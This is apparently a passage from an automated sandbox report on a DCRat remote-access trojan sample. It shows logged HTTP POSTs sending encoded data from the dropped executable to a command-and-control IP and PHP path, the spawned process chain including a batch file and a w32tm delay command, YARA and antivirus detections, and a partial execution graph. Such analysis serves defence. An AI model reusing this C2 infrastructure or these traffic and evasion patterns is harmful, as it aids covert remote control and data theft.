                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            142192.168.2.449885193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:03.038736105 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:03.386734962 CEST2548OUTData Raw: 56 57 54 57 5f 53 50 5c 59 59 51 58 52 5b 56 55 57 57 5d 5e 5a 58 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWTW_SP\YYQXR[VUWW]^ZXUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',!": 18+.U4$-]$<>44[42>(3].5#F".[ (
                                                            Jul 10, 2024 09:08:03.703783035 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:03.711009026 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:03 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            143192.168.2.449886193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:03.842976093 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:04.199002981 CEST2548OUTData Raw: 53 51 54 53 5a 58 55 50 59 59 51 58 52 50 56 52 57 52 5d 59 5a 5e 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTSZXUPYYQXRPVRWR]YZ^U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/&T69\4T7]<+#'%\$/'(;#Z7><&8=<Q;Z/%#F".[
                                                            Jul 10, 2024 09:08:04.516202927 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:04.521084070 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:04 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            144192.168.2.449887193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:04.654747009 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:05.011503935 CEST2544OUTData Raw: 53 57 54 54 5a 59 55 51 59 59 51 58 52 58 56 57 57 5c 5d 52 5a 5a 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTTZYUQYYQXRXVWW\]RZZU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',,6V":!Y42(=7R"75$W)? ,R&;"C>'+.%#F".[ 4
                                                            Jul 10, 2024 09:08:05.338799000 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:05.342504978 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:05 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            145192.168.2.449888193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:05.468753099 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:05.824745893 CEST2548OUTData Raw: 53 51 51 57 5a 59 55 5a 59 59 51 58 52 59 56 55 57 52 5d 59 5a 51 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQQWZYUZYYQXRYVUWR]YZQU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;5 )=Y +'4$>0Z?)/X">02=>7?\,%#F".[


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            146192.168.2.449889193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:06.018167973 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:06.370887041 CEST1884OUTData Raw: 53 51 54 52 5f 53 55 5a 59 59 51 58 52 5e 56 5a 57 5d 5d 5e 5a 58 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTR_SUZYYQXR^VZW]]^ZXU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$8<&U5))^7;+#4\0<U(+'#='%]%?Q(/#F".[ <
                                                            Jul 10, 2024 09:08:06.680186033 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:06.795188904 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:06 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            147192.168.2.449890193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:06.196449995 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:06.569545031 CEST2548OUTData Raw: 56 56 51 57 5f 5b 55 5b 59 59 51 58 52 51 56 57 57 56 5d 5f 5a 5a 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVQW_[U[YYQXRQVWWV]_ZZU[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';< 927?Z( :3(V*8+X#25<'Z,#F".[
                                                            Jul 10, 2024 09:08:06.871309996 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 38 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:08:06 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            148192.168.2.449891193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:07.004916906 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:07.355345964 CEST2548OUTData Raw: 53 57 51 56 5a 58 55 5f 59 59 51 58 52 59 56 50 57 5c 5d 58 5a 5b 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWQVZXU_YYQXRYVPW\]XZ[UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[,%65^#2/[).#U B5Y'');3]">,&9+;[/5#F".[
                                                            Jul 10, 2024 09:08:07.728164911 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:07.734447956 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:07 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            149192.168.2.449892193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:07.862584114 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:08.214768887 CEST2548OUTData Raw: 56 5c 51 57 5f 59 55 5b 59 59 51 58 52 5d 56 52 57 57 5d 5e 5a 59 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QW_YU[YYQXR]VRWW]^ZYU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[,Z1"*9"2(>+S ![$/$T>;4"=0T%A<'_/5#F".[ 0
                                                            Jul 10, 2024 09:08:08.542982101 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 38 3a 30 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:08:08 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:03:06:02
                                                            Start date:10/07/2024
                                                            Path:C:\Users\user\Desktop\file.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\file.exe"
                                                            Imagebase:0x690000
                                                            File size:2'578'944 bytes
                                                            MD5 hash:0124015421E8B708E3FF67E875AE0338
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:1
                                                            Start time:03:06:02
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff7699e0000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:2
                                                            Start time:03:06:05
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                            Imagebase:0xce0000
                                                            File size:65'440 bytes
                                                            MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:3
                                                            Start time:03:06:06
                                                            Start date:10/07/2024
                                                            Path:C:\Users\user\AppData\Roaming\h7xZry2ICs.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Users\user\AppData\Roaming\h7xZry2ICs.exe"
                                                            Imagebase:0x7ff60d7f0000
                                                            File size:18'944 bytes
                                                            MD5 hash:F3EDFF85DE5FD002692D54A04BCB1C09
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Antivirus matches:
                                                            • Detection: 0%, ReversingLabs
                                                            • Detection: 0%, Virustotal, Browse
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:4
                                                            Start time:03:06:06
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff7699e0000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:5
                                                            Start time:03:06:06
                                                            Start date:10/07/2024
                                                            Path:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe"
                                                            Imagebase:0x3b0000
                                                            File size:2'097'664 bytes
                                                            MD5 hash:FC574CEF0F536CFEF8E2466564F3E536
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000000.1733919550.00000000003B2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe, Author: Joe Security
                                                            Antivirus matches:
                                                            • Detection: 100%, Avira
                                                            • Detection: 100%, Joe Sandbox ML
                                                            • Detection: 63%, Virustotal, Browse
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:6
                                                            Start time:03:06:08
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\cmd.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat"
                                                            Imagebase:0x7ff7ccc10000
                                                            File size:289'792 bytes
                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:7
                                                            Start time:03:06:08
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff7699e0000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:8
                                                            Start time:03:06:08
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\chcp.com
                                                            Wow64 process (32bit):true
                                                            Commandline:chcp 65001
                                                            Imagebase:0x590000
                                                            File size:14'848 bytes
                                                            MD5 hash:33395C4732A49065EA72590B14B64F32
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:9
                                                            Start time:03:06:08
                                                            Start date:10/07/2024
                                                            Path:C:\Windows\System32\w32tm.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                            Imagebase:0x7ff7c8660000
                                                            File size:108'032 bytes
                                                            MD5 hash:81A82132737224D324A3E8DA993E2FB5
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:11
                                                            Start time:03:06:13
                                                            Start date:10/07/2024
                                                            Path:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe"
                                                            Imagebase:0x830000
                                                            File size:2'097'664 bytes
                                                            MD5 hash:FC574CEF0F536CFEF8E2466564F3E536
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe, Author: Joe Security
                                                            Antivirus matches:
                                                            • Detection: 100%, Avira
                                                            • Detection: 100%, Joe Sandbox ML
                                                            • Detection: 63%, Virustotal, Browse
                                                            Reputation:low
                                                            Has exited:false

                                                            Disassembly

                                                            Reset < >

                                                              Execution Graph

                                                              Execution Coverage:5%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:2.7%
                                                              Total number of Nodes:678
                                                              Total number of Limit Nodes:34
                                                              execution_graph 20907 69d6fb 20916 69db9f GetModuleHandleW 20907->20916 20909 69d703 20910 69d739 20909->20910 20911 69d707 20909->20911 20918 6a8b5d 23 API calls __purecall 20910->20918 20913 69d712 20911->20913 20917 6a8b3f 23 API calls __purecall 20911->20917 20914 69d741 20916->20909 20917->20913 20918->20914 20919 696ccb 20936 69d0bf 20919->20936 20921 696cec 20922 696d00 20921->20922 20966 693136 20921->20966 20927 696d12 20922->20927 20970 6968ad 41 API calls _Deallocate 20922->20970 20926 696d5c 20955 693248 20926->20955 20927->20926 20971 691c54 43 API calls 2 library calls 20927->20971 20931 696d9b 20973 69d408 5 API calls ___raise_securityfailure 20931->20973 20932 696d7b shared_ptr 20932->20931 20972 691a9d 41 API calls 2 library calls 20932->20972 20935 696daa 20939 69d0c4 20936->20939 20938 69d0de 20938->20921 20939->20938 20942 69676f Concurrency::cancel_current_task 20939->20942 20980 6a865b EnterCriticalSection LeaveCriticalSection codecvt 20939->20980 20981 6a5953 15 API calls 3 library calls 20939->20981 20941 69d0ea 20941->20941 20942->20941 20974 69e79c RaiseException 20942->20974 20944 69678b codecvt 20975 69e79c RaiseException 20944->20975 20946 6967a8 20976 693820 42 API calls std::exception::exception 20946->20976 20948 6967ba 20977 69e79c RaiseException 20948->20977 20950 6967c8 codecvt 20978 693962 42 API calls codecvt 20950->20978 20952 6967ea 20979 69e79c RaiseException 20952->20979 20954 6967f8 20954->20921 20982 691a14 20955->20982 20957 69326b 20958 696dac 20957->20958 20959 696e2a 20958->20959 20965 696dc0 20958->20965 20988 696861 41 API calls _Deallocate 20959->20988 20961 696e34 20961->20932 20962 6914fb 71 API calls 20962->20965 20963 692b55 97 API calls 20963->20965 20965->20959 20965->20962 20965->20963 20987 6a296e 44 API calls _Fputc 20965->20987 20967 693153 _strlen 20966->20967 20989 691783 20967->20989 20969 693160 20969->20922 20970->20927 20971->20927 20972->20931 20973->20935 20974->20944 20975->20946 20976->20948 20977->20950 20978->20952 20979->20954 20980->20939 20981->20939 20983 691a1e 20982->20983 20984 691a27 20982->20984 20986 694a05 43 API calls 20983->20986 20984->20957 20986->20984 20987->20965 20988->20961 20990 6917ee 20989->20990 20993 691794 std::_Throw_Cpp_error 20989->20993 20997 696a6c 43 API calls std::_Throw_Cpp_error 20990->20997 20995 69179b std::_Throw_Cpp_error 20993->20995 20996 6916a8 43 API calls 2 library calls 20993->20996 20995->20969 20996->20995 20998 69a63a 21021 69a59b GetModuleHandleExW 20998->21021 21001 69a680 21002 69a59b Concurrency::details::_Reschedule_chore GetModuleHandleExW 21001->21002 21004 69a686 21002->21004 21009 69a6a7 21004->21009 21028 69a57e GetModuleHandleExW 21004->21028 21005 69a674 21027 699774 ReleaseSRWLockExclusive 21005->21027 21008 69a697 21008->21009 21010 69a69d FreeLibraryWhenCallbackReturns 21008->21010 21023 696306 21009->21023 21010->21009 21012 69a59b Concurrency::details::_Reschedule_chore GetModuleHandleExW 21013 69a6bd 21012->21013 21014 69a6eb 21013->21014 21029 6982ee 50 API calls std::_Throw_Cpp_error 21013->21029 21016 69a6c9 21030 699774 ReleaseSRWLockExclusive 21016->21030 21018 69a6dc 21018->21014 21031 6998fb WakeAllConditionVariable 21018->21031 21022 69a5b1 21021->21022 21022->21001 21026 6982ee 50 API calls std::_Throw_Cpp_error 21022->21026 21032 692bac 21023->21032 21024 696312 21024->21012 21026->21005 21027->21001 21028->21008 21029->21016 21030->21018 21031->21014 21033 692bbb 21032->21033 21034 692bc0 Concurrency::details::_ContextCallback::_CallInContext 21032->21034 21038 694b30 21033->21038 21034->21024 21044 69e79c RaiseException 21034->21044 21036 698b89 21039 694b3c __EH_prolog3_catch 21038->21039 21045 694265 21039->21045 21044->21036 21046 694270 Concurrency::details::_ContextCallback::_CallInContext 21045->21046 21049 69e79c RaiseException 21046->21049 21048 698b89 21049->21048 21050 695c9d 21051 695ccf 21050->21051 21082 692cba 21051->21082 21053 695d25 std::ios_base::_Ios_base_dtor 21097 69318f 21053->21097 21057 695df0 21058 695e2c 21057->21058 21059 695ed4 21057->21059 21061 695e33 21058->21061 21062 695e82 21058->21062 21060 696159 70 API calls 21059->21060 21065 